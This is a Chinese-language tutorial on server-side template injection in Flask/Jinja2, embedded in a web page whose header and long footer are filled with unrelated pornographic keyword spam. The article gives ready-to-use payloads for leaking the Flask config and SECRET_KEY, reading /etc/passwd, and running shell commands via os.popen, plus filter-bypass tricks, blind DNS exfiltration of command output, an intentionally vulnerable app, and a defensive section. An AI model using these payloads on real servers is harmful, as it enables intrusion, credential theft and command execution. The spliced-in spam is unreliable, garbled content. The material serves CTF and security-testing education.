欧美成人午夜精品久久久,国产?V天堂一区二区三区,欧美精品va在线观看,亚洲一区二区三区免费在线观看,av无码精品一区二区久久,欧美性爱视频不卡一区三区,欧美乱人伦视频在线观看,国产一级牲交高潮

ARTICLE DETAIL

資訊詳情

深耕商務(wù)建站與企業(yè)官網(wǎng)運(yùn)營(yíng)的一線實(shí)戰(zhàn)洞察。

SSTI服務(wù)端模板注入實(shí)戰(zhàn):從Flask原理到繞過防御

SSTI服務(wù)端模板注入實(shí)戰(zhàn):從Flask原理到繞過防御 第一次在CTF里碰到SSTI的人十有八九會(huì)一臉懵一條報(bào)錯(cuò)信息明明是jinja2.exceptions.UndefinedError怎么轉(zhuǎn)手payload就能讀到服務(wù)器上的文件如果你也有過這種體驗(yàn)?zāi)沁@篇應(yīng)該能幫你把SSTI從聽說過變成徹底搞懂。我會(huì)以Flask為例子從服務(wù)端模板注入的原理講起把檢測(cè)技巧、常見payload、過濾繞過和防御手段全部拆開一條條揉碎了講清楚。全文面向安全測(cè)試人員、CTF玩家以及怕自己業(yè)務(wù)接口被注入的開發(fā)同學(xué)——不管你是要打題、做測(cè)試還是寫代碼的時(shí)候想避坑都能從這里找到想要的答案。1. SSTI到底是什么從一個(gè)翻譯過程的失控說起1.1 模板引擎在幫我們翻譯什么先理解正常渲染流程要理解服務(wù)端模板注入得先弄清楚模板引擎是怎么工作的。以Flask默認(rèn)的Jinja2為例它的核心思路很簡(jiǎn)單把一份帶占位符的文本當(dāng)作模板運(yùn)行時(shí)把變量填充進(jìn)去生成最終的HTML或文本返回給用戶。一個(gè)最最基本的例子from flask import Flask, render_template_string app Flask(__name__) app.route(/hello/name) def hello(name): template h1Hello, {{ name }}!/h1 return render_template_string(template, namename)正常請(qǐng)求/hello/world模板引擎會(huì)解析{{ name }}這個(gè)表達(dá)式把變量name的值world填充進(jìn)去返回h1Hello, world!/h1。這個(gè)流程平時(shí)沒有任何問題因?yàn)槟0謇锏谋磉_(dá)式是開發(fā)者寫死的變量的值由用戶提供。但注意Jinja2在渲染時(shí)并不是簡(jiǎn)單做字符串替換而是先把模板文本編譯成Python字節(jié)碼再執(zhí)行。換句話說模板里{{ ... }}和{% ... %}的內(nèi)容本質(zhì)上參與了一次代碼求值。如果某部分模板內(nèi)容本身就來自用戶輸入那這就不再是填充變量而是給了用戶一個(gè)在服務(wù)器上執(zhí)行Python表達(dá)式甚至命令的機(jī)會(huì)。這就是SSTI服務(wù)端模板注入Server-Side Template Injection。1.2 注入的根源用戶輸入被當(dāng)成了代碼而不是數(shù)據(jù)我見過很多朋友把SSTI和XSS搞混。兩者的共同點(diǎn)是都會(huì)在輸出層面做測(cè)試但XSS的利用目標(biāo)是瀏覽器SSTI的利用目標(biāo)是服務(wù)器本身嚴(yán)重程度天差地別。SSTI產(chǎn)生的根本原因可以總結(jié)成一句話不可信數(shù)據(jù)進(jìn)入了模板編譯的代碼路徑。常見寫法是哪些最容易踩坑的就是render_template_string因?yàn)楹芏嘟坛潭紩?huì)教新手把用戶參數(shù)直接拼進(jìn)模板字符串a(chǎn)pp.route(/page) def page(): tpl request.args.get(tpl, ) return render_template_string(h1 tpl /h1)也有一些框架或者快速原型項(xiàng)目會(huì)把整段頁面源碼存在數(shù)據(jù)庫里由管理員或者運(yùn)營(yíng)人員在后臺(tái)編輯再通過模板引擎渲染。如果誰能控制這段模板內(nèi)容權(quán)限配置不當(dāng)、數(shù)據(jù)庫注入、后臺(tái)邏輯漏洞效果和直接拿到命令執(zhí)行是等價(jià)的。判斷到底是不是SSTI最簡(jiǎn)單的思路是提交一個(gè)原本應(yīng)該被當(dāng)成數(shù)據(jù)的字符串結(jié)果里面如果包含了模板語法并且被當(dāng)成邏輯解析并執(zhí)行那這就是注入點(diǎn)。1.3 初步確認(rèn)最小化探測(cè)payload進(jìn)入實(shí)戰(zhàn)前先記牢三類探測(cè)方法。第一種是純算術(shù)表達(dá)式比如提交{{7*7}}如果返回49基本可以斷定是Jinja2或者其他支持算術(shù)運(yùn)算的模板引擎。第二種是字符串拼接提交{{ab}}如果返回ab同樣能說明表達(dá)式被執(zhí)行。第三種是注釋或者無意義表達(dá)式看回顯判斷是否觸發(fā)報(bào)錯(cuò)以及報(bào)錯(cuò)內(nèi)容是否泄露模板引擎類型。實(shí)測(cè)中我更喜歡先提交一個(gè){{7*7}}再提交一個(gè)${7*7}。兩者結(jié)果一對(duì)比就能分辨引擎類型——Jinja2返回49而${...}在很多Java模板引擎比如FreeMarker里是標(biāo)準(zhǔn)語法。一個(gè)字符串一次性測(cè)兩種引擎效率最高。但這里要提醒一句如果你提交{{7*7}}發(fā)現(xiàn)頁面還是原樣返回{{7*7}}并不代表沒有SSTI有可能是模板引擎把輸入做了轉(zhuǎn)義也可能是輸入在到達(dá)模板前就被拼接到了不該拼接的地方。這就需要進(jìn)一步觀察報(bào)錯(cuò)頁面和響應(yīng)差異。2. 原理追查Jinja2的變量解析和Python對(duì)象模型2.1 表達(dá)式、過濾器、全局變量Jinja2的求值規(guī)則既然要去構(gòu)造payload就得先搞清楚Jinja2支持哪些語法。模板里最常見的三種結(jié)構(gòu){{ expr }}輸出一個(gè)表達(dá)式的值{% statement %}執(zhí)行控制流語句比如if、for{# comment #}是注釋。在{{ ... }}內(nèi)部我們可以使用變量、字面量、算術(shù)運(yùn)算符、比較運(yùn)算符、邏輯運(yùn)算符還可以用管道符調(diào)用過濾器比如{{ name|upper }}。這些都是模板引擎提供給開發(fā)者的能力。但SSTI真正要用的并不只是這些常規(guī)操作而是要借助Python對(duì)象模型本身提供的能力。Jinja2有一個(gè)非常重要的特性它允許訪問對(duì)象的屬性和方法。寫法有{{ obj.attr }}和{{ obj[attr] }}兩種。表面上這只是個(gè)取值操作但一旦我們能拿到對(duì)象的內(nèi)部屬性比如__class__、__init__就等于拿到了通往底層的鑰匙。Jinja2自帶一些全局變量比如configFlask的配置對(duì)象、self當(dāng)前模板上下文、request、session、g等等。其中config是最友好的信息收集目標(biāo)一個(gè){{config}}往往就能泄露SECRET_KEY、數(shù)據(jù)庫連接串等敏感信息。2.2 MRO與魔術(shù)方法為什么SSTI能一路爬到系統(tǒng)命令現(xiàn)在進(jìn)入最關(guān)鍵的部分。Python一切皆對(duì)象而對(duì)象的類型、父類、方法列表都可以通過幾個(gè)魔術(shù)方法拿到__class__獲取當(dāng)前對(duì)象的類。__mro__返回一個(gè)元組包含當(dāng)前類以及它的所有父類順序按照方法解析順序排列。__bases__返回當(dāng)前類的直接父類。__subclasses__()返回當(dāng)前類的所有直接子類列表。__init__構(gòu)造函數(shù)。__globals__如果作用于某個(gè)函數(shù)返回一個(gè)字典包含該函數(shù)所在模塊的全部全局變量。SSTI利用鏈的思路可以概括為從任何一個(gè)對(duì)象出發(fā)先拿到它的類再通過類找父類最后到達(dá)object或者某個(gè)工具類然后通過__subclasses__()拿到當(dāng)前進(jìn)程里所有類的列表從中挑選能夠做危險(xiǎn)操作的類。舉個(gè)例子空字符串是一個(gè)字符串對(duì)象.__class__就是class str.__class__.__mro__會(huì)返回(class str, class object)。這里很多教程會(huì)直接用__mro__[1]或者_(dá)_mro__[2]看起來索引值不穩(wěn)定其實(shí)是因?yàn)槠瘘c(diǎn)對(duì)象不同索引位置可能有差異。最好的習(xí)慣是先用__mro__看看返回幾個(gè)父類再選擇真正指向object的那一個(gè)下標(biāo)。拿到object之后調(diào)用__subclasses__()會(huì)得到當(dāng)前Python解釋器里已經(jīng)加載的所有類的列表。這里面會(huì)有os._wrap_close、subprocess.Popen、warnings.catch_warnings、file僅Python2等一大批可以利用的類。它們都是object的直接或間接子類所以在列表里一定能找到。2.3 版本差異Python2和Python3下的不同路線這塊很容易讓人踩坑。Python2的object子類列表里直接有一個(gè)type file它對(duì)應(yīng)的構(gòu)造函數(shù)可以用來讀取文件.__class__.__mro__[2].__subclasses__()[40](/etc/passwd).read()但在Python3中file類型已經(jīng)不存在了同樣的索引位置可能是完全不同的類必須尋找io._IOBase、io.TextIOWrapper等替代類或者直接找os相關(guān)的類來拼命令執(zhí)行。實(shí)操中最穩(wěn)定、最有代表性的做法是遍歷子類列表用特征類名定位。比如{% for x in ().__class__.__mro__[1].__subclasses__() %} {% if os in x.__module__ %} {{ x.__module__ }}.{{ x.__name__ }} {% endif %} {% endfor %}這種思路之所以可靠是因?yàn)槲覀儾皇强坑簿幋a的索引位置而是靠模塊路徑和類名特征去匹配。在跑批量測(cè)試和寫自動(dòng)化腳本的時(shí)候哪怕Python小版本升級(jí)導(dǎo)致類列表順序變化這套方案依然能命中只是需要額外寫一點(diǎn)解析邏輯。3. 常用payload全梳理一條鏈路打到命令執(zhí)行3.1 最基礎(chǔ)的探測(cè)與信息收集我把平時(shí)用的比較高頻的基礎(chǔ)探測(cè)payload整理一下。假設(shè)注入點(diǎn)在render_template_string的參數(shù)里我們需要分階段推進(jìn)。第一階段是確認(rèn)。提交{{7*7}}看回顯是否是49??梢允莧{7*7}}這樣如果引擎執(zhí)行了字符串乘法結(jié)果是一連串7也能判斷表達(dá)式執(zhí)行了。第二階段是信息收集。提交{{config}}如果Flask應(yīng)用開啟了調(diào)試或者模擬環(huán)境配置沒被隱藏頁面會(huì)直接顯示配置字典里面可能有SECRET_KEY、數(shù)據(jù)庫URI等敏感值。提交{{self}}可以得到模板對(duì)象本身的信息也有時(shí)候會(huì)順帶泄露一些全局上下文。第三階段是定位可利用對(duì)象。一個(gè)經(jīng)典payload是{{ [].__class__.__mro__[1].__subclasses__() }}這里[]是列表對(duì)象__class__拿到list__mro__[1]直接指向object再拿所有子類。輸出列表可能非常長(zhǎng)但沒關(guān)系我們要的就是這份列表從里面挑能用的類。3.2 從當(dāng)前對(duì)象到任意類subclasses遍歷技巧真正要打命令執(zhí)行我最常用的路線是這樣一條{{ .__class__.__mro__[2].__subclasses__() }}這條利用的就是空字符串對(duì)象。為什么從空字符串開始因?yàn)椴还苁怯昧斜?、字典、還是整數(shù)對(duì)象我們最終都要回到object而寫起來最短方便嵌套和拼接。問題是怎么在Payload中快速定位有用的子類手工維護(hù)一個(gè)索引是可行的但不同題目不同環(huán)境結(jié)果不同線上環(huán)境又不想每次都打印幾百行。推薦兩種方式。第一種是用模板自身循環(huán)遍歷子類列表通過名字或模塊名篩選出目標(biāo)比如搜索subprocess.Popen或os._wrap_close{% set stream cycler.__init__.__globals__.os.popen %} {{ stream(id).read() }}第二種是直接在模板里遍歷并且把符合條件的類一次性打印出來{% for x in ().__class__.__bases__[0].__subclasses__() %} {% if catch_warnings in x.__name__ %} {{ x.__init__.__globals__ }} {% endif %} {% endfor %}值得說明的是cycler、joiner、namespace這些都是Jinja2內(nèi)置對(duì)象它們自帶__init__.__globals__里面通常能直接找到os模塊、__builtins__等好東西比盯著subclasses列表一條條翻要快得多。3.3 命令執(zhí)行和文件讀取一條鏈路打通命令執(zhí)行的通式一般長(zhǎng)這樣核心是利用某個(gè)函數(shù)對(duì)象拿到__globals__再通過__builtins__或os去執(zhí)行命令{{ .__class__.__mro__[2].__subclasses__()[position].__init__.__globals__[__builtins__][__import__](os).popen(cat /etc/passwd).read() }}position指的是目標(biāo)類在__subclasses__()返回列表中的位置。比如warnings.catch_warnings類在多數(shù)環(huán)境里位置往往比較靠前可以直接用{{ .__class__.__mro__[2].__subclasses__()[139].__init__.__globals__[__builtins__] }}拿到__builtins__以后再順著它去找__import__或者直接訪問os.popen、os.system。有一點(diǎn)要注意__globals__只有在作用于函數(shù)對(duì)象時(shí)才存在作用于類對(duì)象有時(shí)會(huì)報(bào)錯(cuò)。文件讀取的路線也類似。Python3里可以用open函數(shù)通過__builtins__直接打開文件{{ config.__class__.__init__.__globals__[__builtins__][open](/etc/passwd).read() }}或者找到_io.FileIO、io.TextIOWrapper等類手動(dòng)實(shí)例化但那條路要傳模式參數(shù)代碼一長(zhǎng)寫起來就費(fèi)勁。所以我一般優(yōu)先打__builtins__里的內(nèi)置函數(shù)如果被過濾再考慮類實(shí)例化路線。3.4 快速參考常用payload速查表為了打題和自查方便我整理了一張速查表可以直接抄但順手記一下原理更好。目標(biāo)Payload示例說明基礎(chǔ)探測(cè){{7*7}}返回49則說明表達(dá)式被求值Flask配置泄露{{config}}可能暴露SECRET_KEY等敏感信息獲取當(dāng)前對(duì)象類名{{ .__class__ }}返回str類獲取object類{{ .__class__.__mro__[1] }}得到object類列出所有子類{{ [].__class__.__mro__[1].__subclasses__() }}大列表讀取文件{{ config.__class__.__init__.__globals__[__builtins__][open](/etc/passwd).read() }}用內(nèi)置open命令執(zhí)行{{ cycler.__init__.__globals__.os.popen(id).read() }}利用Jinja2內(nèi)置對(duì)象全局變量命令執(zhí)行備選{{ .__class__.__mro__[2].__subclasses__()[x].__init__.__globals__[__builtins__][__import__](os).popen(id).read() }}遍歷定位x表里面最后一條的[x]必須根據(jù)實(shí)際環(huán)境來定這也是寫自動(dòng)化掃描腳本時(shí)經(jīng)常要處理的一環(huán)。4. 過濾與繞過實(shí)戰(zhàn)里真正考驗(yàn)人的地方4.1 常見過濾規(guī)則前文說的都是沒有過濾的理想場(chǎng)景。真正要面對(duì)的題目或者真實(shí)系統(tǒng)多少會(huì)做一些WAF或參數(shù)校驗(yàn)。總結(jié)下來最常見的過濾類型大概有五種過濾關(guān)鍵字比如__class__、popen、os、過濾特殊字符_、[、]、單雙引號(hào)、過濾數(shù)字、過濾{{ }}以及過濾一些內(nèi)置函數(shù)名。第一種最好辦用字符串拼接繞過。第二種比較頭疼因?yàn)楹芏嗄0遄⑷朦c(diǎn)在數(shù)組下標(biāo)或者屬性訪問上都依賴[]和雙下劃線。第三種常見于需要傳數(shù)字索引的payload可以通過模板自身的解析技巧繞過。第四種最麻煩如果連{{和{%都被轉(zhuǎn)義那基本沒有注入點(diǎn)了但很多時(shí)候它們的過濾并不完整只在輸入層替換一次。4.2 經(jīng)典的繞過組合先說過濾[]。不管是__getitem__還是模板自帶的attr過濾器都能替代中括號(hào)下標(biāo)訪問。例如.__class__如果被過濾可以寫成|attr(__class__)。在Jinja2里這算是最優(yōu)雅的一種繞法。如果單雙引號(hào)也被過濾我們可以用request.args獲取URL參數(shù)讓payload里不再出現(xiàn)引號(hào)或者下劃線{{ request.args.f }}配合URL請(qǐng)求{{ cycler.__init__.__globals__.os.popen(request.args.cmd).read() }}cmdid如果下劃線_被過濾可以用十六進(jìn)制編碼、Unicode編碼或者通過\x5f拼接繞過。比如__class__可以寫成\x5f\x5fclass\x5f\x5f在Python解釋器看來\x5f就是下劃線字符。不過要注意Jinja2的解析層相對(duì)嚴(yán)格某些編碼方式在模板表達(dá)式里不一定生效實(shí)測(cè)中需要根據(jù)報(bào)錯(cuò)逐步調(diào)整。如果關(guān)鍵字os、popen被過濾可以做拼接{{ cycler.__init__.__globals__[os].popen(id).read() }}Jinja2會(huì)先做字符串拼接再去做屬性訪問這一步恰好能繞過很多簡(jiǎn)單的詞法過濾。4.3 無回顯下的盲打思路有些環(huán)境不會(huì)把模板渲染結(jié)果直接輸出只返回200或404。這時(shí)候就要走盲注或者帶外通道。最常用的是利用命令執(zhí)行后的時(shí)間延遲比如調(diào)os.system(sleep 5)看響應(yīng)時(shí)間是否明顯增加用時(shí)間差確認(rèn)漏洞存在。也可以用DNS外帶的方式確認(rèn)命令執(zhí)行成功把whoami的結(jié)果拼到域名里發(fā)出去在外部記錄到解析請(qǐng)求就說明命令已經(jīng)執(zhí)行。這類盲打的關(guān)鍵在于不能太依賴頁面回顯要在日志和響應(yīng)時(shí)間上找信號(hào)。如果命令執(zhí)行被限制也可以退而求其次先盲讀文件用布爾條件來判斷文件內(nèi)容類似SQL注入里的盲注思路。比如在模板里判斷某個(gè)文件是否存在存在就配置不同的響應(yīng)。這種方案的效率不算高但屬于兜底手段值得掌握。5. 本地實(shí)操搭個(gè)漏洞環(huán)境走一遍完整鏈路5.1 最小化漏洞應(yīng)用說了這么多不如直接在本地把環(huán)境搭起來從零到一驗(yàn)證一遍。我用一個(gè)最簡(jiǎn)化的Flask應(yīng)用來做實(shí)驗(yàn)代碼如下from flask import Flask, request, render_template_string app Flask(__name__) app.route(/) def index(): name request.args.get(name, ) template h1Hello, name !/h1 return render_template_string(template) if __name__ __main__: app.run(host0.0.0.0, port5000, debugTrue)本地跑起來以后訪問/?name{{7*7}}頁面返回Hello, 49!說明存在SSTI。建議加一句debugTrue好處是出錯(cuò)能看到詳細(xì)的報(bào)錯(cuò)棧能直觀看到模板編譯發(fā)生了異常。當(dāng)然生產(chǎn)環(huán)境千萬別這么寫我這是為了驗(yàn)證方便。5.2 走完整條利用鏈第一步先確認(rèn)表達(dá)式執(zhí)行。然后收集信息訪問/?name{{config}}頁面上會(huì)輸出Flask配置包括SECRET_KEY。這一步往往已經(jīng)能用來偽造session了如果實(shí)際測(cè)試目標(biāo)有登錄功能這已經(jīng)是一個(gè)高危風(fēng)險(xiǎn)點(diǎn)。第二步先拿子類列表。訪問/?name{{ [].__class__.__mro__[1].__subclasses__() }}頁面會(huì)輸出一大串類列表。復(fù)制下來搜索os._wrap_close或者warnings.catch_warnings記錄它的索引位置。我這次本地環(huán)境里os._wrap_close出現(xiàn)在第226位左右但你機(jī)器上的位置很可能不同所以動(dòng)態(tài)定位更重要。第三步構(gòu)造命令執(zhí)行payload/?name{{ [].__class__.__mro__[1].__subclasses__()[226].__init__.__globals__[os].popen(id).read() }}如果一切正常頁面會(huì)輸出uid...的用戶信息。到這一步SSTI已經(jīng)從一條報(bào)錯(cuò)變成了實(shí)打?qū)嵉拿顖?zhí)行。第四步讀取文件/?name{{ config.__class__.__init__.__globals__[__builtins__][open](/etc/passwd).read() }}在Python3環(huán)境中這個(gè)payload應(yīng)該能夠讀出文件內(nèi)容。5.3 踩坑記錄為什么你的payload不通我在這塊踩過的坑不少總結(jié)幾個(gè)高頻問題。第一個(gè)是__globals__只有函數(shù)對(duì)象才有。很多人拿到某個(gè)類以后直接調(diào).__init__.__globals__但如果這個(gè)類不繼承任何函數(shù)或者_(dá)_init__本身不是Python函數(shù)而是內(nèi)置函數(shù)就會(huì)返回AttributeError或者得到預(yù)期之外的結(jié)果。解決方法是盡量選擇諸如warnings.catch_warnings.__init__這種由Python實(shí)現(xiàn)的方法來訪問。第二個(gè)是__subclasses__()返回的子類列表位置不穩(wěn)定。同一個(gè)應(yīng)用稍微改一條import語句、換一個(gè)Python小版本列表就會(huì)變。寫掃描器或者寫exp的時(shí)候不要硬編碼索引應(yīng)該用模塊名和類名做匹配。第三個(gè)是模板里直接使用[]方式訪問字典有時(shí)會(huì)觸發(fā)Jinja2的解析規(guī)則。Jinja2允許__globals__[os]這種寫法但某些版本對(duì)__globals__[__builtins__]這種雙下劃線鍵名解析有差異建議遇到報(bào)錯(cuò)時(shí)換成|attr過濾器或者用.__builtins__直接訪問屬性。第四個(gè)很隱蔽{{config}}能輸出不等于{{config.__class__}}也能輸出。Flask的config對(duì)象繼承自字典但有些版本里直接訪問它的__init__會(huì)拿到一個(gè)純內(nèi)部的構(gòu)造器里面沒有__globals__。很多時(shí)候要繞一下先走config.__class__.__mro__找到object再按老路子走。6. 怎么防給同樣在被SSTI困擾的人6.1 代碼層的防御思路防御SSTI最核心的一條就是永遠(yuǎn)不要把模板字符串的來源交給用戶控制。如果你非要?jiǎng)討B(tài)渲染那至少要做到用戶輸入只作為變量的值傳給模板而不是作為模板文本本身。正確的Flask寫法是這樣的app.route(/hello/name) def hello(name): return render_template_string(h1Hello, {{ name }}!/h1, namename)這樣用戶輸入哪怕包含{{7*7}}也只會(huì)被當(dāng)作字符串值渲染輸出而不會(huì)被當(dāng)成模板邏輯執(zhí)行。另一個(gè)建議是盡量使用render_template去加載獨(dú)立的模板文件少用render_template_string。哪怕動(dòng)態(tài)拼模板也一定不要直接拼用戶數(shù)據(jù)。如果需要給用戶提供有限的模板能力可以考慮用Jinja2沙箱從環(huán)境配置上禁用危險(xiǎn)的函數(shù)和屬性訪問。但要注意純靠沙箱攔不住所有情況因?yàn)槟0逡姹旧硖峁┑膶?duì)象已經(jīng)足夠豐富一旦某個(gè)全局對(duì)象能被訪問攻擊者可能從它身上繞回危險(xiǎn)函數(shù)。所以沙箱只能作為輔助不能當(dāng)作唯一防線。6.2 配置與運(yùn)維加固除了代碼層面運(yùn)維和框架配置也要跟上。比如把Flask的DEBUG模式關(guān)閉避免報(bào)錯(cuò)頁面泄露堆棧信息生產(chǎn)環(huán)境不要暴露模板源碼路徑給Web應(yīng)用單獨(dú)設(shè)置低權(quán)限用戶別用root跑應(yīng)用讓它即使被攻破也沒辦法讀取太多敏感文件對(duì)外部輸入做輸入長(zhǎng)度限制比如限制單參數(shù)長(zhǎng)度雖然不能從根本上防注入但能明顯增加攻擊成本。另一種更穩(wěn)妥的隔離思路是讓模板渲染層和業(yè)務(wù)代碼完全分離。模板內(nèi)容放在獨(dú)立的文件甚至單獨(dú)的服務(wù)里不允許業(yè)務(wù)接口直接傳模板字符串。很多大型項(xiàng)目會(huì)直接用前端框架渲染頁面后端只返回JSON這樣SSTI的攻擊面自然就小了很多。6.3 常見問題排查速查現(xiàn)象可能原因解決思路{{7*7}}原樣輸出輸入被轉(zhuǎn)義或未進(jìn)入模板表達(dá)式檢查渲染位置、過濾邏輯{{7*7}}輸出49但{{config}}報(bào)錯(cuò)全局變量被禁用用self或request等替代__subclasses__()返回空沙箱攔截?fù)Q一條鏈子比如從cycler入手__globals__訪問報(bào)錯(cuò)目標(biāo)不是函數(shù)對(duì)象換一個(gè)函數(shù)型初始化器來訪問命令執(zhí)行失敗但探測(cè)成功被過濾了或目標(biāo)類無權(quán)限考慮盲打、繞過、或者換用文件讀取頁面返回500Payload語法或類型錯(cuò)誤用本地Jinja2環(huán)境逐段調(diào)試排查的時(shí)候我習(xí)慣先在本地裝一個(gè)同版本的Jinja2把payload扔進(jìn)render_template_string里做最小化驗(yàn)證確認(rèn)語法沒有問題再上目標(biāo)。這比直接在目標(biāo)機(jī)上試錯(cuò)要穩(wěn)得多。我個(gè)人踩過幾輪之后的體會(huì)是SSTI的利用鏈確實(shí)靈活得可怕但只要把握住數(shù)據(jù)不入模板編譯路徑這條底線防御思路其實(shí)非常簡(jiǎn)單。對(duì)開發(fā)者來說寫每行模板渲染代碼時(shí)都多想一步這個(gè)輸入會(huì)不會(huì)被當(dāng)成代碼執(zhí)行對(duì)測(cè)試人員來說先確保自己理解了Jinja2的求值順序和Python對(duì)象模型再動(dòng)手去打payload才能做到彈無虛發(fā)。安全這東西很多時(shí)候差的真不是技巧是那一層再往下挖一層的意識(shí)。
返回列表
PREV
查看更多資訊
NEXT
返回資訊列表
久久久久久激情| 色综合婷婷| 婷婷五月天激情综合网| 五月婷婷亚洲| 久久九九99.www| 久久久久久久五月婷婷六月丁香综合,开心激情综合网 | www99精品| 色欲天天综合| 97丁香五月| 久久刺激网| 亚洲亚洲人成综合网络| 99热这里只有精品1025| 丁香五月亚洲| 一區四區歐美日韓| 在线日韩视频| 久久影视婷婷五月| 噼里啪啦完整版中文在线观看| 99综合免费视频| 91久久1118| 久久成人亚洲欧美电影| 精品夜夜澡人妻无码AV| 色综合激情| Www.狠狠| 蜜乳国产网站| 深爱激情小说五月婷婷| 婷婷六月丁香激情| 日韩AV一区二区三区| 久久免片| 色欲久久综合| 五月丁香激情四射| 五月天操逼网| 五月婷婷激情综合av| 色婷婷婷婷成人网| 六月丁香视频网站| 丁香婷婷综合精品六月初| 伊人青涩网| 天天色天天操天天射| 天天狠狠夜夜狠狠2023| 欧美VA在线| 久久久人妻久久久| 欧美99| 极品嫩草| 九月丁香婷婷基地| 免费碰碰视频久| www超碰| 97干网站| 丁香九月激情| 一级性爱视频| 婷婷深爱五月| 五月天婷婷綜合院| 国产9色在线/日韩| 色情婷婷| AV大香蕉| 成人做爰黄A片免费看直播室男男 久草热8精品视频在线观看 | 99亚洲精品综合在线| 人妻中文在线| 99这里都是精品6| 99ri国产在线| 色丁香五月婷婷| 亚州操人在线视频| 婷婷亚洲在线| 亚洲人人操BD| 天天成人丁香美女AV| 噜色精品| 五月丁香六月婷婷的女人| 丁香婷婷偷拍| 色丁香五月综合网| 亚洲另类日本| AAA久久| 六月婷婷久久| 久久久婷| 久久综合五月天激情小说网站 | 亚洲操逼网| 久久欧洲综合网| 先锋av性爱成人电影| 激情小说五月天中文字幕| 俺也去五月婷婷丁| 伊人五月婷| 亚洲字幕AV一区二区三区四区| WWW.国产| 91人无码久久久久久| 色欲AVV| 九九婷婷激情综合网| 一级操逼大片| 国产九九一区二区三区| 亚洲综合色婷婷| 综合激情伊人影视在线| 国产精品久久久60086| 亚洲综合婷婷五月| 亚洲婷婷五月天| 丁香五月影视| 少妇伦子伦精品无吗| 欧美激情综合五月色丁香| 丁香欧美| 99热最新| 激情98色婷婷五| 五月丁香久久综合91| 亚洲成人日韩无码精品| 色婷婷狠| 五月丁香天天| 亚洲va成人va成人va在线观看| 香蕉操亚洲| 91精品久久久久久综合五月天| 久久激情网| 婷婷五月天网| 人人操人人爰人人一天天碰夜夜拍夜夜爽-中国A级毛片天天看天天谢… | 91刘玥视频在线观看| 中文AV在线观看| 婷婷精品在线| 五月天色婷婷基地| 99久久网站| 爱久久小说下载网| 97AV在线视频| 成人精品99| 亚洲AV综合在线观看 | 激情五月婷婷综合网| 五月天影院| 大香蕉天堂| 五月丁香网站| 欧美性生交XXXXX无码小说| 91se视频| 99热天堂| 久久婷婷五月综合啪| 伊人婷婷五月天| WWW久久久| 农村熟妇高潮精品A片| YW无码| 99re免费精品视频| 九九热视频精品| 操操啪| 精品久久久91久久影视网| www.刺激色网站www.| 伊人婷婷五月天| 色综合日日| 色噜噜狠狠色综合成人网| 婷婷97狠狠成人网站| 激情久久综合网| 好好干Av| 97干在线观看视频| 亚洲国产色婷婷| 婷婷在线播放av| 久久精品亚洲一级牲爱综合| 99色在线视频| 五月天开心色情网| 国产欧洲欧洲精品久久| 超碰婷婷色| 五月天大香蕉| 女同激情久久av久久| 搡BBBB搡BBB搡五十| 99久re热| 激情丁香五月天图片| 久草五月| 99热这里只有精品26| 天天干夜夜谢| 字母不卡码人逼| 九九热视频网站| 亚洲国产精品VA在线看黑人| 日本97在线看片| 国语对白性爱视频播放| 婷婷丁香激情综合色情| 99热费观看| 五月天婷婷在线播放免费| 91一起操| 婷婷色无码| 久热这里只有精品99re| 色色97丁香婷婷五月天| WWW,五月| 丁香五月WWW| 激情九九综合网| 五月婷婷性爱| 激情五月激情综合网一级丸片| 啪啪99| 大香伊人婷婷| 丁香五月五月婷婷| 大香蕉75线| 天天做天天爱天天玩夜夜爽| 1024AV视频| 综合网激情五月天| 激情人妻蜜夜系列区| 97色色色色色色色| 国产亚洲精品AAAAAAA片 | 色99视频| 久久婷网| 婷婷五月天开心网| 九九热视频首页/这里只有精品| 人人干99| 九九99免费视频| 性综合网| 五月丁香无码| 伊人激情| 激情五月综合免费| www.91热久久| 思思精品视频| 超碰9| 996热re视频精品视频| 婷婷丁香人妻久久在线观看| 91re色综合视频| 99色看这里只有精品| www.婷婷| 精久久色| 伊人久久大香天蕉亚洲特级| www.99婷婷| 综合久久8| 天天狠天天叉| www.婷婷五月天| 97av在线视频| 九九热这里只有精品12| www.91AV.com| 日本三级黄色大片| 国产五月天激情小说| 青草视频在线播放| 人妻久久久久久久 | 五月丁香五月激情综合色综合| A久久| 五月婷婷在线网站| 亚洲另类AV| z色五月播播久久| 婷婷射丁香| 天天狠狠夜夜狠狠2023| 伊人色综在线| 亚洲天堂爱爱| 在线看九一V图片| 久久婷婷丁香六月天| 99情色五月天| 婷婷九月| www,av好吊操| 久久久婷| 99热99日天天干| 第四色五月天| 欧美激情Va| 亚洲 在线 另类| 国产XXXX搡XXXXX搡麻豆| 欧美日韩大黄| wWW九九在线播放| 色噜噜五月天| 久久五月丁香综合17C| 超碰永久在线| 色爱综合网| www.lingjunshare.com| 狠狠人妻色综合| 狠狠狠狠狠狠| 天天爱天天狠天天透| 天天色月| 碰碰操91| www.91五月| 亚洲网站999| 无码一区二区三区四区五区| www.99久久久久99| 免费做A爰片77777| 久久资源网五月婷| 六月婷婷在线视频| 婷婷五月天视频小说| 东京热免费视频网站| 五月色网| 激情婷婷久久| 天堂草在线看www| 国产免费一区二区在线A片视频| .精品久久久麻豆国产精品| 色婷婷狠狠干芒果TV| 婷婷丁香久久| 色综啪啪啪啪啪啪| 97干干干丁香| 亚洲色五月天| 婷婷五月丁香综合激情| 五月丁香婷婷成人综合网| 激情五月天色色网| 91se在线观看| 国产综合A片| 激情五月影院| 三级三久久线久久99久目本WW| 婷婷精品在线| 丁香色情五月综合激情| 久久婷婷五月综合激情国产| 五月做爱| 九九色情网站| 天天干一干| 超碰97干| 亚洲操操操| 婷婷五月丁香综合激情小说| 99小视频| 五月婷久久| 色婷婷激情五月天| 色婷综合| 爱婷婷都市激情| 五月婷婷在线网站| 亚洲婷婷月丁香五月| 婷婷丁香亚洲色综合91| 激情五月天福利| 国产亚洲精品AAAAAAA片| 99色色网| 丁香六月婷婷综合| 九色自拍| 久久99操| www狠狠| www五月| 五月天亚洲最大成人| 97在线精品| 九九热99免费视频| 久久在这里99| 激情丁香社区| 无码四色色色| 九九视频这里只有精品在线播放 | 色色色色色色综合| 色婷婷五月天亚洲| 丁香婷婷五月天校园春色| 欧美日韩国产一区| Av在线不卡一区| 九九色婷婷五月天| H亚洲| 95精品区一区二| 少妇性BBB搡BBB爽爽爽视頻| 亚洲最大成人综合网720P| 黄网在线播放| 成人国产欧美大片一区| 婷婷最新地址| 亚洲啪啪精品| 色天使色婷婷| 五月婷婷|欧美| www.久久综合| 99激情网| 蜜臀A∨在线水帘洞| 婷婷五月色花丁香社区| 亚洲婷婷丁香五月视频| 日韩av干| 婷婷五月综合视频免费播放| 91色吧网| 